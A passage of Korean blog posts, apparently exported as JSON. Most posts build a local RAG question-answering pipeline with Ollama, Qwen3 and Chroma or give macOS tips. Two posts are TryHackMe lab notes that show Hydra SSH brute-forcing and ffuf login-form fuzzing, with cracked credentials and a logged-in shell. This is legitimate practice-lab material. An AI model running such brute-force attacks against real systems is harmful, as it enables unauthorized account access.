[{"content":"앞서 간단한 예제를 통해 어떤 형식으로 PDF 파일을 읽어 질의하는지 확인했습니다. 이제 실제 벡터 DB를 구축하고 그걸 읽어 질의에 답변하는 코드를 작성해보겠습니다.\nDB 구축 및 저장 PDF 파일을 읽어와 chroma_db라는 로컬 폴더를 만들고 그 안에 벡터 데이터를 영구 저장합니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 # ingest.py import os from langchain_community.document_loaders import PyPDFLoader from langchain_ollama import OllamaEmbeddings from langchain_chroma import Chroma from langchain_text_splitters import RecursiveCharacterTextSplitter # 1. 환경 설정 PDF_PATH = \u0026#34;qrevo.pdf\u0026#34; DB_DIR = \u0026#34;./chroma_db\u0026#34; # 데이터가 영구 저장될 폴더명 # 2. 임베딩 모델 설정 embeddings = OllamaEmbeddings(model=\u0026#34;bge-m3\u0026#34;) # 3. PDF 읽어오기 print(\u0026#34;PDF 문서를 로드하는 중...\u0026#34;) loader = PyPDFLoader(PDF_PATH) raw_documents = loader.load() # 4. 텍스트 효율적으로 쪼개기 print(\u0026#34;텍스트를 청크 단위로 분할하는 중...\u0026#34;) text_splitter = RecursiveCharacterTextSplitter(chunk_size=500, chunk_overlap=100) docs = text_splitter.split_documents(raw_documents) # 5. Chroma DB를 하드디스크에 영구 저장 (persist_directory 지정) print(f\u0026#34;임베딩 진행 후 \u0026#39;{DB_DIR}\u0026#39; 폴더에 벡터 데이터 저장 중...\u0026#34;) db = Chroma.from_documents( documents=docs, embedding=embeddings, persist_directory=DB_DIR # 이 한 줄로 메모리가 아닌 실제 디스크에 저장됩니다. ) print(\u0026#34;벡터 데이터베이스 구축 완료! 이제 퀴즈/질의 코드를 실행하세요.\u0026#34;) 저장된 DB 로드 및 질의 스크립트 DB 구축후 해당 DB를 활용하여 질의하는 코드 입니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 # query.py import os from langchain_ollama import OllamaLLM from langchain_ollama import OllamaEmbeddings from langchain_chroma import Chroma from langchain_core.prompts import ChatPromptTemplate from langchain_core.runnables import RunnablePassthrough from langchain_core.output_parsers import StrOutputParser # 1. 환경 설정 및 엔진 로드 DB_DIR = \u0026#34;./chroma_db\u0026#34; # 저장된 폴더 경로가 일치해야 합니다. llm = OllamaLLM(model=\u0026#34;qwen3:8b\u0026#34;) embeddings = OllamaEmbeddings(model=\u0026#34;bge-m3\u0026#34;) # 2. 하드디스크에 저장된 Chroma DB 불러오기 if not os.path.exists(DB_DIR): print(f\u0026#34;에러: \u0026#39;{DB_DIR}\u0026#39; 폴더가 존재하지 않습니다. 먼저 ingest.py를 실행하세요.\u0026#34;) exit() print(\u0026#34;영구 저장된 벡터 DB 로드 완료.\u0026#34;) db = Chroma( persist_directory=DB_DIR, embedding_function=embeddings ) # 3. 검색기(Retriever) 및 컨텍스트 유틸리티 설정 retriever = db.as_retriever(search_type=\u0026#34;mmr\u0026#34;, search_kwargs={\u0026#34;k\u0026#34;: 5}) def format_docs(docs): return \u0026#34;\\n\\n\u0026#34;.join(doc.page_content for doc in docs) # 4. 프롬프트 템플릿 설정 template = \u0026#34;\u0026#34;\u0026#34;당신은 주어진 문맥(Context)을 기반으로 질문에 답하는 친절한 AI 어시스턴트입니다. 질문에 답할 때 제공된 문맥을 최대한 활용하고, 문맥에 직접적인 단어가 없더라도 유추할 수 있다면 논리적으로 설명해 주세요. 만약 문맥을 아무리 찾아봐도 관련된 내용을 전혀 알 수 없다면, 억지로 지어내지 말고 \u0026#34;제공된 문서에서는 해당 내용을 찾을 수 없습니다\u0026#34;라고 정중하게 답하세요. Context: {context} Question: {question} Answer:\u0026#34;\u0026#34;\u0026#34; prompt = ChatPromptTemplate.from_template(template) # 5. LCEL 파이프라인 구성 rag_chain = ( {\u0026#34;context\u0026#34;: retriever | format_docs, \u0026#34;question\u0026#34;: RunnablePassthrough()} | prompt | llm | StrOutputParser() ) # 6. 사용자 질의 응답 반복 루프 print(\u0026#34;RAG AI가 준비되었습니다. 종료하려면 \u0026#39;종료\u0026#39;를 입력하세요.\\n\u0026#34;) while True: query = input(\u0026#39;질문을 입력하세요 : \u0026#39;) if query.strip() == \u0026#34;종료\u0026#34;: print(\u0026#34;프로그램을 종료합니다.\u0026#34;) break if not query.strip(): continue response = rag_chain.invoke(query) print(\u0026#34;\\n==== 진짜 RAG AI의 답변 ====\u0026#34;) print(response) print(\u0026#34;=\u0026#34; * 28 + \u0026#34;\\n\u0026#34;) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 (venv) % python3 query.py 영구 저장된 벡터 DB 로드 완료. RAG AI가 준비되었습니다. 종료하려면 \u0026#39;종료\u0026#39;를 입력하세요. 질문을 입력하세요 : \u0026#39;Roborock Qrevo Curv 2 Flow\u0026#39; 제품에서 롤러가 하는 역할은? ==== 진짜 RAG AI의 답변 ==== 제공된 문서에 따르면 **\u0026#39;Roborock Qrevo Curv 2 Flow\u0026#39;** 제품의 **롤러**는 **물걸레 청소 기능**을 수행하는 핵심 부품입니다. 구체적으로는 다음과 같은 역할을 합니다: 1. **물걸레 청소 기능**: - 롤러 물걸레는 바닥을 닦는 데 사용되며, 물걸레를 롤러 축에 고정한 후 회전하면서 물을 퍼뜨려 바닥을 청소합니다. - 사용 전에는 물걸레를 세척하고 자연 건조한 후, 1~3개월마다 교체해야 합니다. 2. **청소 경로의 일부**: - 로봇청소기의 청소 과정에서 롤러 물걸레는 바닥 표면을 닦는 주요 장치로, 먼지를 제거하고 깨끗한 상태로 유지하는 데 기여합니다. 3. **청소 후 물 배출**: - 롤러 물걸레가 사용된 후, 오수 통로(E3)를 통해 사용한 물과 쓰레기를 배출하는 과정에서 롤러의 역할이 연결됩니다. **결론**: 롤러는 물걸레를 통해 바닥을 닦는 청소 기능을 수행하며, 물을 퍼뜨려 쓰레기를 제거하는 핵심 부품입니다. 문서에서는 롤러 자체의 구조나 추가 기능은 언급되지 않았으나, 물걸레 청소 과정에서 필수적인 역할을 합니다. ============================ 질문을 입력하세요 : 종료 프로그램을 종료합니다. ","date":"2026-06-12T01:42:03+09:00","permalink":"/2026/06/12/%EC%98%81%EA%B5%AC-%EC%A0%80%EC%9E%A5%ED%98%95-%EB%B2%A1%ED%84%B0-db-%EB%B9%8C%EB%93%9C-%EB%B0%8F-rag-%EC%A7%88%EC%9D%98-%EC%9D%91%EB%8B%B5/","title":"영구 저장형 벡터 DB 빌드 및 RAG 질의 응답"},{"content":"이제 실제 pdf 파일을 기반으로 AI가 답변하는 완전한 로컬 RAG(Retrieval-Augmented Generation) 파이프라인의 전체 소스 코드를 작성해보겠습니다.\n코드를 작성하기 전에 Qwen을 실행하여 'Roborock Qrevo Curv 2 Flow' 모델의 로봇청소기와 관련된 질문을 하겠습니다. 해당 로봇 청소기는 신제품이라 Qwen3 모델에 학습은 되지 않았을 겁니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 % ollama run qwen3:8b \u0026gt;\u0026gt;\u0026gt; \u0026#39;Roborock Qrevo Curv 2 Flow\u0026#39; 제품에서 롤러가 하는 역할은? Thinking... Okay, I need to explain the role of the roller in the Roborock Qrevo Curv 2 Flow. Let me start by recalling what I know about Roborock products. They\u0026#39;re robotic vacuum cleaners, right? The Qrevo Curv 2 Flow is a specific model. Now, the user is asking about the roller\u0026#39;s role. First, I should think about the typical components of a robotic vacuum. There\u0026#39;s the main brush, which is usually a rotating brush that helps pick up hair and debris. But the user mentioned a roller. Wait, sometimes \u0026#34;roller\u0026#34; might refer to the main brush, but maybe in this model, they have a different design. Wait, the Qrevo Curv 2 Flow is a model that uses a \u0026#34;Curv\u0026#34; design, which I think refers to the shape of the robot. But the roller... Maybe it\u0026#39;s a separate component? Or perhaps the user is referring to the main brush as the roller. Let me check. In some robotic vacuums, there\u0026#39;s a main brush that rotates to agitate the floor and pick up debris. The roller could be part of the main brush assembly. Alternatively, maybe there\u0026#39;s a separate roller for something else. Wait, the Qrevo Curv 2 Flow is a model that uses a \u0026#34;Flow\u0026#34; system, which might relate to air flow or water flow. But the user is asking about the roller. Wait, maybe the user is confusing terms. In some contexts, \u0026#34;roller\u0026#34; could refer to a rotating part that helps in suction. Alternatively, maybe it\u0026#39;s a part of the cleaning mechanism. Let me think about the Qrevo Curv 2 Flow\u0026#39;s features. I remember that Roborock\u0026#39;s Qrevo series uses a main brush that rotates to help lift debris. The roller might be part of that main brush. So the role of the roller (main brush) would be to agitate the floor, loosen dirt, and push it into the suction area. Alternatively, could there be a separate roller for something else? Maybe not. Since the user is asking specifically about the roller, I should focus on the main brush. So, the main answer would be that the roller (main brush) helps in agitating the floor, lifting debris, and pushing it into the suction area to enhance cleaning efficiency. But I need to make sure this is accurate for the Qrevo Curv 2 Flow. Wait, maybe there\u0026#39;s a specific feature in this model. The Qrevo Curv 2 Flow has a \u0026#34;Curv\u0026#34; design which allows it to clean under furniture. The roller might be part of the main brush that helps in cleaning different floor types. Alternatively, maybe the roller is part of the dustbin system? No, that\u0026#39;s more likely the dustbin. I think the key point is that the roller (main brush) is responsible for agitating the floor, lifting dirt, and pushing it into the suction path. This is a standard function in robotic vacuums. So the answer should explain that role, and maybe mention how it contributes to the overall cleaning efficiency, especially in the Qrevo Curv 2 Flow model. ...done thinking. Roborock Qrevo Curv 2 Flow의 **롤러**(주 모터 브러시)는 청소 효율을 극대화하기 위해 설계된 핵심 부품입니다. 이 롤러의 주요 역할은 다음과 같습니다: ### 1. **바닥 표면의 먼지 및 쓰레기를 집어 올리기** - 롤러는 회전하면서 바닥 표면을 마찰시켜 **진드기, 털, 미세 먼지** 등을 흡입구로 끌어들입니다. 특히 **카펫, 천연 섬유, 매트** 같 은 표면에서 효과적입니다. ### 2. **흡입 효율 향상** - 롤러가 바닥을 진동시켜 쌓인 먼지를 **분산**하고, 흡입구로 더 잘 집어 올릴 수 있도록 합니다. 이는 **흡입력의 효율성**을 높여 전 체 청소 성능을 개선합니다. ### 3. **다양한 바닥 유형에 적응** - Qrevo Curv 2 Flow는 **경사 바닥, 높은 가구 밑, 복잡한 구조**에서도 청소를 수행할 수 있습니다. 롤러는 이러한 환경에서도 **진동 과 회전**을 통해 먼지를 효과적으로 제거합니다. ### 4. **청소 잔류물 제거** - 롤러는 흡입 후 남은 먼지를 **바닥 표면에 남기지 않도록** 청소하여, **반복적이고 깨끗한 청소**를 가능하게 합니다. ### 5. **Qrevo Curv 2 Flow의 특징과 연계** - 이 모델은 **Curv 디자인**으로 높은 가구 밑까지 접근 가능하며, 롤러는 이러한 구조에서 **모든 구석의 먼지를 집어 올리는 데 기여 **합니다. 또한, **Flow 시스템**과 연계해 **흡입력과 청소 효율**을 극대화합니다. ### 요약 롤러는 Roborock Qrevo Curv 2 Flow의 **핵심 청소 메커니즘**으로, 바닥 표면의 먼지를 집어 올리고 흡입 효율을 높이는 역할을 합니다. 이 는 다양한 바닥 유형과 복잡한 환경에서도 **정교하고 완전한 청소**를 가능하게 하는 중요한 요소입니다. \u0026gt;\u0026gt;\u0026gt; Send a message (/? for help) 이제 아래 파이썬 코드를 실행하여 'Roborock Qrevo Curv 2 Flow' 제품 설명서 PDF 파일을 입력하고 결과를 보겠습니다.\n제품 설명서 : https://gl-files.roborock.com/product/center/images/v69660e28ac3eb.pdf\n그 과정은 아래와 같이 이루어질 것입니다.\n[원시 데이터] -\u0026gt; (1) 로드 -\u0026gt; (2) 분할 -\u0026gt; (3) 벡터화 -\u0026gt; (4) 저장 -\u0026gt; [벡터 DB]\n(1) 데이터 로드 (Load): PDF, 웹페이지, DB 등에서 텍스트를 긁어옵니다. (코드의 raw_documents)\n(2) 텍스트 분할 (Split): 긴 글을 AI가 읽기 좋은 작은 조각으로 쪼갭니다. (코드의 CharacterTextSplitter)\n(3) 텍스트 벡터화 (Embedding): 쪼갠 문장을 임베딩 모델을 통해 숫자로 바꿉니다. (코드의 OllamaEmbeddings)\n(4) 저장 (Store): 벡터화된 데이터를 검색이 가능한 데이터베이스에 넣습니다. (코드의 Chroma.from_documents)\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from langchain_ollama import OllamaLLM from langchain_ollama import OllamaEmbeddings from langchain_chroma import Chroma from langchain_text_splitters import CharacterTextSplitter from langchain_core.prompts import ChatPromptTemplate from langchain_core.runnables import RunnablePassthrough from langchain_core.output_parsers import StrOutputParser from langchain_community.document_loaders import PyPDFLoader # 1. 백엔드 AI 엔진 설정 llm = OllamaLLM(model=\u0026#34;qwen3:8b\u0026#34;) embeddings = OllamaEmbeddings(model=\u0026#34;bge-m3\u0026#34;) # 2. PDF 읽어오기 loader = PyPDFLoader(\u0026#34;qrevo.pdf\u0026#34;) raw_documents = loader.load() # 3. 텍스트 쪼개기 및 벡터 DB 저장 # chunk_size: 글자를 몇 자 단위로 쪼갤지, chunk_overlap: 쪼갤 때 앞뒤 문맥을 얼마나 겹치게 할지 text_splitter = CharacterTextSplitter(chunk_size=500, chunk_overlap=100) docs = text_splitter.split_documents(raw_documents) db = Chroma.from_documents(docs, embeddings) retriever = db.as_retriever() # 4. 프롬프트 템플릿 설정 template = \u0026#34;\u0026#34;\u0026#34;아래의 제공된 문맥(Context)만을 바탕으로 질문에 답하세요. 만약 답을 모른다면 모른다고 말하고, 답변을 지어내지 마세요. Context: {context} Question: {question} Answer:\u0026#34;\u0026#34;\u0026#34; prompt = ChatPromptTemplate.from_template(template) # 5. LCEL 파이프라인 구성 rag_chain = ( {\u0026#34;context\u0026#34;: retriever, \u0026#34;question\u0026#34;: RunnablePassthrough()} | prompt | llm | StrOutputParser() ) # 6. 내가 넣은 파일에 있을 법한 내용 질문하기 query = input(\u0026#39;질문을 입력하세요 : \u0026#39;) response = rag_chain.invoke(query) print(\u0026#34;==== 진짜 RAG AI의 답변 ====\u0026#34;) print(response) 1 2 3 4 5 6 7 8 9 (venv) % python3 app.py 질문을 입력하세요 : \u0026#39;Roborock Qrevo Curv 2 Flow\u0026#39; 제품에서 롤러가 하는 역할은? ==== 진짜 RAG AI의 답변 ==== 제공된 문맥에 따르면 \u0026#39;Roborock Qrevo Curv 2 Flow\u0026#39; 제품에서 **롤러**(롤러 물걸레)는 **바닥을 닦는 주요 청소 부품**으로 작용합니다. 구체적으로는 다음과 같은 역할을 합니다: 1. **바닥 닦기**: 롤러 물걸레는 물과 청소제를 사용해 바닥을 닦는 데 사용되며, 사용 후 깨끗이 세척하고 건조시켜야 합니다. 2. **청소 효율성**: 롤러 물걸레는 바닥의 먼지와 흔적을 제거하고, 물을 흡수하여 청소 효율을 높이는 역할을 합니다. 3. **정기적인 관리**: 사용 후 세척하고 1~3개월마다 교체해야 하며, 오염된 경우 세척해야 합니다. 문맥에 명시된 내용을 바탕으로, 롤러는 **청소 기능을 수행하는 핵심 부품**으로 설명됩니다. ","date":"2026-06-12T01:01:00+09:00","permalink":"/2026/06/12/%EB%AC%B8%EC%84%9C-%EB%A1%9C%EB%93%9C-%EB%B0%8F-%ED%85%8D%EC%8A%A4%ED%8A%B8-%ED%8C%8C%EC%9D%B4%ED%94%84%EB%9D%BC%EC%9D%B8-%EA%B5%AC%ED%98%84/","title":"문서 로드 및 텍스트 파이프라인 구현"},{"content":"여러 자료(여기서는 PDF 문서로 할 예정)를 읽어 벡터 데이터베이스(Vector DB)로 가공하기 위해 필요한 파이썬 개발 환경 및 필수 패키지 설치 단계를 설명합니다.\n파이썬 가상환경(venv) 생성 및 활성화 다양한 파이썬 프로젝트를 진행할 때 패키지 버전 충돌을 방지하기 위해, 독립된 가상환경으로 하는 것이 편하다.\n1 2 3 4 5 % mkdir local-rag-project % cd local-rag-project % /opt/homebrew/bin/python3 -m venv venv % source venv/bin/activate (venv) % RAG 필수 pip 패키지 설치 1 2 3 4 5 6 7 8 9 10 11 # ① Ollama 연동 전용 패키지 설치 : Ollama의 LLM 및 Embeddings 기능을 최신 API 규격으로 제어하는 패키지입니다. (venv) % pip install langchain-ollama # ② 벡터 데이터베이스(Chroma) 전용 패키지 설치 : 임베딩 모델이 변환한 숫자 좌표(벡터)들을 하드디스크에 영구 저장하고 빛의 속도로 검색해 주는 벡터 DB 패키지입니다. (venv) % pip install langchain-chroma # ③ PDF 문서 로더 및 텍스트 분할 패키지 설치 : PDF 파일을 파이썬으로 읽어오고, AI가 읽기 좋은 형태로 쪼개주는 도구들입니다. (venv) % pip install pypdf langchain-text-splitters # ④ 다양한 외부 데이터 및 도구 연동 패키지 설치 : PDF 로더(PyPDFLoader)를 비롯해 각종 문서, 웹페이지, 데이터베이스 등 수백 가지의 외부 도구를 LangChain과 연결해 주는 커넥터 패키지입니다. (venv) % pip install langchain-community 임베딩(벡터화) 모델 설치 1 2 3 4 5 % ollama pull bge-m3 % ollama list NAME ID SIZE MODIFIED bge-m3:latest 790764642607 1.2 GB 9 hours ago qwen3:8b 500a1f067a9f 5.2 GB 10 hours ago 샘플 코드 실행 이제 아래 코드를 실행해보자. 아래 코드는 PDF 파일을 넣기 전에 임의로 PDF 내용이라고 가정하고 raw_documents 값을 넣었습니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 from langchain_ollama import OllamaLLM from langchain_ollama import OllamaEmbeddings from langchain_chroma import Chroma from langchain_text_splitters import CharacterTextSplitter from langchain_core.prompts import ChatPromptTemplate from langchain_core.runnables import RunnablePassthrough from langchain_core.output_parsers import StrOutputParser # 1. 백엔드 AI 엔진 설정 llm = OllamaLLM(model=\u0026#34;qwen3:8b\u0026#34;) embeddings = OllamaEmbeddings(model=\u0026#34;bge-m3\u0026#34;) # 2. 내 비밀 데이터(추후 PDF를 읽어 채울 내용들임) raw_documents = [ \u0026#34;철수의 비밀: 철수가 제일 좋아하는 음식은 매운 떡볶이이고, 취미는 주말마다 한강에서 자전거를 타는 것이다.\u0026#34;, \u0026#34;영희의 비밀: 영희는 고양이를 두 마리 키우고 있으며, 장래희망은 우주비행사가 되는 것이다.\u0026#34; ] # 3. 텍스트 쪼개기 및 벡터 DB 저장 text_splitter = CharacterTextSplitter(chunk_size=100, chunk_overlap=0) docs = text_splitter.create_documents(raw_documents) db = Chroma.from_documents(docs, embeddings) retriever = db.as_retriever() # 4. 최신 규격 프롬프트 템플릿 생성 template = \u0026#34;\u0026#34;\u0026#34;아래의 제공된 문맥(Context)만을 바탕으로 질문에 답하세요. 만약 답을 모른다면 모른다고 말하고, 답변을 지어내지 마세요. Context: {context} Question: {question} Answer:\u0026#34;\u0026#34;\u0026#34; prompt = ChatPromptTemplate.from_template(template) # 5. 최신 LCEL 파이프라인(Chain) 구성 rag_chain = ( {\u0026#34;context\u0026#34;: retriever, \u0026#34;question\u0026#34;: RunnablePassthrough()} | prompt | llm | StrOutputParser() ) # 6. 질문 던지기 query = \u0026#34;철수가 주말에 주로 하는 행동과 좋아하는 음식을 알려줘.\u0026#34; response = rag_chain.invoke(query) print(\u0026#34;==== 최신 RAG AI의 답변 ====\u0026#34;) print(response) 1 2 3 (venv) % python3 app.py ==== 최신 RAG AI의 답변 ==== 철수가 주말에 주로 하는 행동은 한강에서 자전거를 타는 것이고, 좋아하는 음식은 매운 떡볶이입니다. ","date":"2026-06-12T00:35:28+09:00","permalink":"/2026/06/12/%ED%8C%8C%EC%9D%B4%EC%8D%AC-%EA%B0%9C%EB%B0%9C-%ED%99%98%EA%B2%BD-%EB%B0%8F-%EC%9D%98%EC%A1%B4%EC%84%B1-%ED%8C%A8%ED%82%A4%EC%A7%80-%EC%84%A4%EC%A0%95/","title":"파이썬 개발 환경 및 의존성 패키지 설정"},{"content":"로컬 LLM 환경을 구축하기 위해 연구하며 정리한 문서 입니다. 구축 환경은 Apple Mac mini M4(RAM:16GB) 입니다. 외부 인공지능 API(OpenAI 등)를 사용하지 않고, 100% 로컬 환경에서 구동되는 RAG(Retrieval-Augmented Generation) 시스템을 만들기 위한 Ollama 설치 및 초기 환경 설정 방법을 설명합니다.\nHomebrew로 Ollama 설치 및 실행하기 macOS의 패키지 매니저인 Homebrew를 사용하면 터미널 명령어 한 줄로 Ollama를 깔끔하게 설치하고, 백그라운드 서비스로 편리하게 관리할 수 있습니다.\n터미널을 열고 아래 명령어를 입력하여 Ollama를 설치합니다.\n1 2 % brew install ollama % ollama serve 로컬 AI 모델 다운로드 대화형 언어 모델 (Qwen3)을 다운로드 합니다. 저의 시스템 환경에서 가장 성능을 잘 내어주는 시스템을 AI에 문의한 결과 'qwen3:8b' 모델이라고 답변을 받아 그걸 설치했습니다.\n1 2 % ollama run qwen3:8b \u0026gt;\u0026gt;\u0026gt; Send a message (/? for help) 로컬 AI 모델 테스트 잘 동작하는지 질의해 봅니다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 \u0026gt;\u0026gt;\u0026gt; \u0026#34;안녕\u0026#34;을 영어로 번역해줘. Thinking... Okay, the user asked to translate \u0026#34;안녕\u0026#34; into English. Let me think about the possible translations. \u0026#34;안녕\u0026#34; is a common Korean greeting. The most straightforward translation is \u0026#34;Hello.\u0026#34; But sometimes people might use \u0026#34;Hi\u0026#34; as well, which is more casual. Depending on the context, it could also be \u0026#34;Good day\u0026#34; or \u0026#34;How are you?\u0026#34; but those are more formal or used in specific situations. I should consider the user\u0026#39;s intent. They might just want a simple translation for general use. Since \u0026#34;Hello\u0026#34; is the most direct and widely understood, that\u0026#39;s probably the safest answer. However, I should mention the alternatives like \u0026#34;Hi\u0026#34; to cover different contexts. Also, maybe note that the tone can vary based on formality. Let me check if there are any other nuances. For example, in some cases, \u0026#34;안녕\u0026#34; can also be used to say goodbye, but the primary translation for greeting is \u0026#34;Hello.\u0026#34; So the main answer is \u0026#34;Hello,\u0026#34; with additional options in parentheses. That should cover it. ...done thinking. \u0026#34;안녕\u0026#34;은 영어로 **\u0026#34;Hello\u0026#34;**로 번역됩니다. 가벼운 인사나 일상적인 대화에서 사용되며, **\u0026#34;Hi\u0026#34;**로도 표현할 수 있습니다. 문맥에 따라 **\u0026#34;Good day\u0026#34;**나 **\u0026#34;How are you?\u0026#34;**처럼 더 정중하거나 따뜻한 표현도 사용될 수 있습니다. 😊 \u0026gt;\u0026gt;\u0026gt; Send a message (/? for help) ","date":"2026-06-12T00:06:56+09:00","permalink":"/2026/06/12/ollama-%EA%B8%B0%EB%B0%98-%EB%A1%9C%EC%BB%AC-llm-%ED%99%98%EA%B2%BD-%EA%B5%AC%EC%B6%95/","title":"Ollama 기반 로컬 LLM 환경 구축"},{"content":"Hydra는 브루트포스를 수행하는데 사용되는 툴로 매우 빠르고 FTP, SSH등 여러 프토로콜을 지원한다.\nTryhackme 문제 가운데 Lookup 문제를 푸는 과정에서 hydra를 사용한 기록을 남겨둔다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 $ hydra -l think -P list.txt ssh://lookup.thm Hydra v9.6 (c) 2023 by van Hauser/THC \u0026amp; David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-10-23 00:10:53 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [DATA] max 16 tasks per 1 server, overall 16 tasks, 50 login tries (l:1/p:50), ~4 tries per task [DATA] attacking ssh://lookup.thm:22/ [22][ssh] host: lookup.thm login: think password: josemario.AKA(think) 1 of 1 target successfully completed, 1 valid password found [WARNING] Writing restore file because 3 final worker threads did not complete until end. [ERROR] 3 targets did not resolve or could not be connected [ERROR] 0 target did not complete Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-10-23 00:11:05 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 $ sshpass -p \u0026#34;josemario.AKA(think)\u0026#34; ssh think@lookup.thm Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-139-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Wed 22 Oct 2025 03:18:45 PM UTC System load: 0.31 Processes: 129 Usage of /: 63.5% of 9.75GB Users logged in: 0 Memory usage: 29% IPv4 address for ens5: 10.201.55.24 Swap usage: 0% =\u0026gt; There are 2 zombie processes. * Ubuntu 20.04 LTS Focal Fossa will reach its end of standard support on 31 May For more details see: https://ubuntu.com/20-04 Expanded Security Maintenance for Infrastructure is not enabled. 221 updates can be applied immediately. To see these additional updates run: apt list --upgradable Enable ESM Infra to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Your Hardware Enablement Stack (HWE) is supported until April 2025. Last login: Wed Oct 22 15:17:50 2025 from 10.21.35.213 think@ip-10-201-55-24:~$ ","date":"2025-10-23T00:22:54+09:00","permalink":"/2025/10/23/hydra-brute-force-attack/","title":"Hydra (Brute Force Attack)"},{"content":"FFuf 툴은 웹 애플리케이션 퍼징(Fuzzing) 툴로 URL이나 POST 값 등에 대해 공격할 수 있다.\n공식 사이트 : https://github.com/ffuf/ffuf\nTryhackme 사이트의 Lookup 문제를 푸는 과정에서 해당 툴을 사용하게 되었는데 입력값은 다음과 같다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $ ffuf -w /usr/share/wordlists/rockyou.txt -X POST -u http://lookup.thm/login.php -d \u0026#39;username=admin\u0026amp;password=FUZZ\u0026#39; -H \u0026#34;Content-Type: application/x-www-form-urlencoded\u0026#34; -fw 8 /\u0026#39;___\\ /\u0026#39;___\\ /\u0026#39;___\\ /\\ \\__/ /\\ \\__/ __ __ /\\ \\__/ \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\ \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/ \\ \\_\\ \\ \\_\\ \\ \\____/ \\ \\_\\ \\/_/ \\/_/ \\/___/ \\/_/ v2.1.0-dev ________________________________________________ :: Method : POST :: URL : http://lookup.thm/login.php :: Wordlist : FUZZ: /usr/share/wordlists/rockyou.txt :: Header : Content-Type: application/x-www-form-urlencoded :: Data : username=admin\u0026amp;password=FUZZ :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response words: 8 ________________________________________________ password123 [Status: 200, Size: 74, Words: 10, Lines: 1, Duration: 327ms] admin / password123을 입력했더니 암호는 맞지만 아이디가 틀린 것으로 나온다. 그래서 ID 값을 다시 확인해보았다.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $ ffuf -w /usr/share/wordlists/rockyou.txt -X POST -u http://lookup.thm/login.php -d \u0026#39;username=FUZZ\u0026amp;password=password123\u0026#39; -H \u0026#34;Content-Type: application/x-www-form-urlencoded\u0026#34; -fw 10 /\u0026#39;___\\ /\u0026#39;___\\ /\u0026#39;___\\ /\\ \\__/ /\\ \\__/ __ __ /\\ \\__/ \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\ \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/ \\ \\_\\ \\ \\_\\ \\ \\____/ \\ \\_\\ \\/_/ \\/_/ \\/___/ \\/_/ v2.1.0-dev ________________________________________________ :: Method : POST :: URL : http://lookup.thm/login.php :: Wordlist : FUZZ: /usr/share/wordlists/rockyou.txt :: Header : Content-Type: application/x-www-form-urlencoded :: Data : username=FUZZ\u0026amp;password=password123 :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response words: 10 ________________________________________________ jose [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 328ms] 이후 jose / password123으로 로그인을 성공하였다.\n","date":"2025-10-22T22:18:53+09:00","permalink":"/2025/10/22/ffuffuzz-faster-u-fool-%EC%82%AC%EC%9A%A9%EB%B2%95/","title":"FFuf(Fuzz Faster U Fool) 사용법"},{"content":"If you want to delete logs in Termius, and you have to delete this path files.\n1 /Users/username/Library/Application Support/Termius/session-logs-v2/*.log ","date":"2025-10-11T10:04:24+09:00","permalink":"/2025/10/11/how-to-delete-logs-in-termius-macos/","title":"How to delete logs in Termius (macOS)"},{"content":"Sleep에서 깨우기 1 2 3 4 5 6 7 8 특정 시간에 Sleep모드에서 깨우기 $ sudo pmset repeat wakeorpoweron MTWRFSU 23:10:00 확인 $ pmset -g sched 지우기 $ sudo pmset repeat cancel Launchctl 관련 1 2 3 4 5 6 7 8 9 10 11 서비스 등록 $ launchctl bootstrap gui/$(id -u) ~/Library/LaunchAgents/com.example.myservice.plist 서비스 자동실행 등록 $ launchctl enable gui/$(id -u)/com.example.myservice 상태 확인 $ launchctl print gui/$(id -u)/com.example.myservice 목록 확인 $ launchctl list | grep com.example.myservice 1 2 3 4 5 6 7 8 서비스 